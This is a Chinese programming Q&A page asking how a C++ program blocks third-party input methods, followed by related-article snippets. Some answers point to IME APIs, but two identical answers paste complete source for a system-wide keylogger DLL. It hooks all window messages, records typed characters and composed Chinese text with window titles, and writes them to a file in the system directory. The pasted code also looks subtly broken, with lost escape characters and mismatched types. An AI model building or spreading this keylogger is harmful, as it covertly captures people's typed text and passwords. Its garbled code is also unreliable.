微软-C++如何屏蔽某些输入法?

问题描述

C++如何屏蔽某些输入法?

前几天碰到一个程序,输入中文的时候只能用微软的拼音中文输入法,用百度,搜狗的输入都变成了英文字符。(输入法面板正常显示也能正常切换)想知道这是怎么实现的?

解决方案

在控制面板中语言和区域设置下

解决方案二:

控制台可以控制输入法的api如下:
GetKeyboardLayoutList //获得系统中存在的输入法列表
ActivateKeyboardLayout //切换到指定的输入法
LoadKeyboardLayout //加载一种新的输入法
具体使用方法,可百度搜搜。

解决方案三:

控制台可以控制输入法的api如下:
GetKeyboardLayoutList //获得系统中存在的输入法列表
ActivateKeyboardLayout //切换到指定的输入法
LoadKeyboardLayout //加载一种新的输入法
具体使用方法,可百度搜搜。

解决方案四:

MSDN中对输入法的相关文档在About Input Method Editor系列文章里面,可以查看下。具体屏蔽输入法,只允许原始的键盘输入即所得,可以简单地用下面的代码实现:

    hImcId = ::ImmGetContext(m_recID);

    if (hImcId) {

        ::ImmAssociateContext(m_recID, NULL);

        ......<br/><strong>答案就在这里:</strong><a target='_blank' rel='nofollow' href='http://blog.csdn.net/kesalin/article/details/2603975'>如何屏蔽输入法</a><br/>

解决方案五:

先实现钩子
#include "windows.h" #include "imm.h" #include "stdio.h" //#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄 HINSTANCE g_hHinstance = NULL; //程序句柄 HWND LastFocusWnd = 0;//上一次句柄,必须使全局的 HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char ftemp; //begin/end 写到文件里面 char temptitle[256]="<<标题:"; //<<标题:窗口名字>> char t[2]={0,0}; //捕获单个字母 void writefile(char *lpstr) {//保存为文件 FILE f1; char cmd[256]; GetSystemDirectory(cmd,256); strcat(cmd,"hooktxt.txt"); f1=fopen(cmd,"a+"); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1); } void writtitle() {//保存当前窗口 FocusWnd = GetActiveWindow(); if(LastFocusWnd != FocusWnd) { ftemp="n---------End----------n"; writefile(ftemp); ftemp="n--------begin---------n"; writefile(ftemp); GetWindowText(FocusWnd, title, 256); //当前窗口标题 LastFocusWnd = FocusWnd; strcat(temptitle,title); strcat(temptitle,">>n"); writefile(temptitle); } } LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。 writtitle(); //保存当前窗口 writefile(lpstr); //保存为文件 ImmReleaseContext(hWnd, hIMC); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { char ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符 { writtitle(); t[0]=ch; writefile(t); } if (ch>=8 && ch<=31) //控制字符 { switch(ch) { case 8: strcpy(str,"[退格]"); break; case 9: strcpy(str,"[TAB]"); break; case 13: strcpy(str,"[Enter]"); break; default:strcpy(str,"n"); } if (strcmp(str,"n")) { writtitle(); writefile(str); } } } break; } } LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult); } //HOOK_API BOOL InstallHook() BOOL InstallHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; } //HOOK_API BOOL UnHook() BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE; }
然后实现接收钩子的信息.

解决方案六:

先实现钩子
#include "windows.h" #include "imm.h" #include "stdio.h" //#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄 HINSTANCE g_hHinstance = NULL; //程序句柄 HWND LastFocusWnd = 0;//上一次句柄,必须使全局的 HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char ftemp; //begin/end 写到文件里面 char temptitle[256]="<<标题:"; //<<标题:窗口名字>> char t[2]={0,0}; //捕获单个字母 void writefile(char *lpstr) {//保存为文件 FILE f1; char cmd[256]; GetSystemDirectory(cmd,256); strcat(cmd,"hooktxt.txt"); f1=fopen(cmd,"a+"); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1); } void writtitle() {//保存当前窗口 FocusWnd = GetActiveWindow(); if(LastFocusWnd != FocusWnd) { ftemp="n---------End----------n"; writefile(ftemp); ftemp="n--------begin---------n"; writefile(ftemp); GetWindowText(FocusWnd, title, 256); //当前窗口标题 LastFocusWnd = FocusWnd; strcat(temptitle,title); strcat(temptitle,">>n"); writefile(temptitle); } } LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。 writtitle(); //保存当前窗口 writefile(lpstr); //保存为文件 ImmReleaseContext(hWnd, hIMC); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { char ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符 { writtitle(); t[0]=ch; writefile(t); } if (ch>=8 && ch<=31) //控制字符 { switch(ch) { case 8: strcpy(str,"[退格]"); break; case 9: strcpy(str,"[TAB]"); break; case 13: strcpy(str,"[Enter]"); break; default:strcpy(str,"n"); } if (strcmp(str,"n")) { writtitle(); writefile(str); } } } break; } } LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult); } //HOOK_API BOOL InstallHook() BOOL InstallHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; } //HOOK_API BOOL UnHook() BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE; }
然后实现接收钩子的信息.

时间: 2024-10-23 17:23:00

微软-C++如何屏蔽某些输入法?的相关文章

Android中EditText屏蔽第三方输入法表情的方法示例

前言 众所周知如果用第三方的输入法的表情会给开发带来一定的麻烦,一般地像服务器上传的字符都是普通的字符,但是测试,就是狠狠得拿出搜狗输入法,点几个表情,那么问题就来了,要么是显示异常,要么是直接crash,但是有很少的部分机型,会支持,可能是第三方的ROM对Android 的TextView 做了一定的处理,所以,我们只能干掉该死的表情了. 具体的方法如下: 首先是在EditTextView 里面加入TextWatcher 在判断字符的变化时,就判断字符的类型,是否为字符,否则删除原来的字符,重

在WinForm中屏蔽中文输入法

在WinForm的开发中,有时有些特殊的要求.例如:在某个Form上彻底屏蔽中 文输入法,使之不能切换到中文输入,不能进行中文输入. 这个问题看上去简单,实现起来并没有想象中的简单.下面,把我做的几个实 验依次列举,就会发现,其实实现起来还是有一定难度的. 实验一: 1.新建项目,建立两个Form,分别为Form1.Form2.Form1为启动Form. 2.Form1上有一个TextBox和Button. 点击Button,执行下面语句 Me.Hide() Form2.Show() 3.For

微软win 8 RP的输入法的切换技巧

  如果不是更好就不要轻易试图改变用户的使用习惯. 众所周知win8之前,中国用户中英文输入法的切换模式一直是: EN为默认;然后用Ctrl Space切换EN-中文主要输入法;用Ctrl Shift循环切换所有输入法. Win8的一个进步在于可以设置主输入语言,言外之意默认可以不是EN,而是某种中文输入法. 但是问题在于,在输入法高级选项中选中"允许我为每个应用窗口设置不用的输入法"时,Win8的循环切换输入法操作:Win键 Space失效了.为什么呢?假设默认是EN,在浏览器搜索栏

谷歌微软重拳出击 屏蔽大量儿童色情内容链接

中介交易 SEO诊断 淘宝客 云主机 技术大厅 网易科技讯北京时间11月18日消息,据国外媒体报道,英国首相大卫-卡梅隆(David Cameron)今年7月曾向谷歌和其他互联网巨头发出通知,要求它们屏蔽含有儿童色情内容的搜索结果.日前谷歌和微软都表示已经响应卡梅隆的要求,通过修改算法来屏蔽儿童色情内容. 谷歌方面今天透露,该公司在过去三个月里已经投入超过200名员工,致力于开发新技术,以在搜索结果中屏蔽指向儿童色情内容的链接. 谷歌总裁埃里克-施密特(Eric Schmidt)在英国媒体<每日

传微软2.5亿美元收购输入法应用SwiftKey

2月3日,据<金融时报>报道,据知情人士透露,微软将以2.5亿美元收购输入法应用SwiftKey.这笔交易将在本周内公布. SwiftKey是一款利用人工智能技术预测用户输入内容的输入法,已经被安装到数亿部智能手机上.SwiftKey的技术还被用于史蒂芬·霍金轮椅上的电脑中,该公司开发了一种特殊的语言模型帮助他讲话和写字. 这家位于伦敦的公司由乔恩·雷诺兹(Jon Reynolds)和本·梅德洛克(Ben Medlock)在2008年创建.雷诺兹和梅德洛克当时只有20多岁.两名创始人将从这次交

日语输入法哪个好用?

  日语输入法哪个好用?下文将为大家带来日语输入法下载排行榜,有哪些日语输入法是最受大家欢迎的呢?如果你不知道选择哪一款的话就请看下文吧. 比较常见的有微软自带的日语输入法.谷歌日文输入法.百度IME输入法.Simeji日语输入法.南极星日语输入法等,不过最受欢迎的还是系统自带的日语输入法,大家试试吧~

win7微软拼音abc打不出中文只能打出英文的解决方法

win7微软拼音abc打不出中文只能打出英文的解决方法   具体方法如下: 方法一:智能abc点一下输入栏最左边的一个红色的A然后变成了三色的ABC就能打字了 搜狗点一下Shift键就可以切换拼音和文字啦. 方法二: 原因分析: 出现这样的情况多半是由于我们使用的Win7系统大多精简了微软拼音ABC输入风格输入法,即便是我们重新添加也没有用. 解决方法: 建议到微软官方网站下载微软拼音,然后进行安装即可! 以上两种方法也就是win7微软拼音abc打不出中文只能打出英文的解决方法,简单设置之后,大

几种输入法介绍

输入法 简介: 输入法是指为了将各种符号输入计算机或其他设备(如手机)而采用的编码方法. 汉字输入的编码方法,基本上都是采用将音.形.义与特定的键相联系,再根据不同汉字进行组合来完成汉字的输入的. 英文字母只有26个,它们对应着键盘上的26个字母,所以,对于英文而言是不存在什么输入法的. 汉字的字数有几万个,它们和键盘是没有任何对应关系的,但为了向电脑中输入汉字,我们必须将汉字拆成更小的部件,并将这些部件与键盘上的键产生某种联系. 才能使我们通过键盘按照某种规律输入汉字,这就是汉字编码. 汉字编

传360正秘密研发输入法 搜狗表示无压力

8月24日消息,今日有消息称奇虎360正秘密研发输入法产品,计划在搜索服务之后再次拓展产品线,此举被认为是向搜狗及百度市场地位的又一次挑战. 有知情人士称,360目前正在开发输入法产品,目的在于通过这一网民使用频率最高的产品上获得更多用户体验和使用习惯,以优化搜索.浏览器等其他产品设计. 输入法被认为是最能探究用户上网使用习惯的产品,在此之前,包括百度.搜狗.腾讯.谷歌.微软等公司均在输入法领域做出不小投入. 据艾瑞咨询发布的2012年6月中国搜索引擎访问数据显示,在国内搜索引擎市场,百度流量仍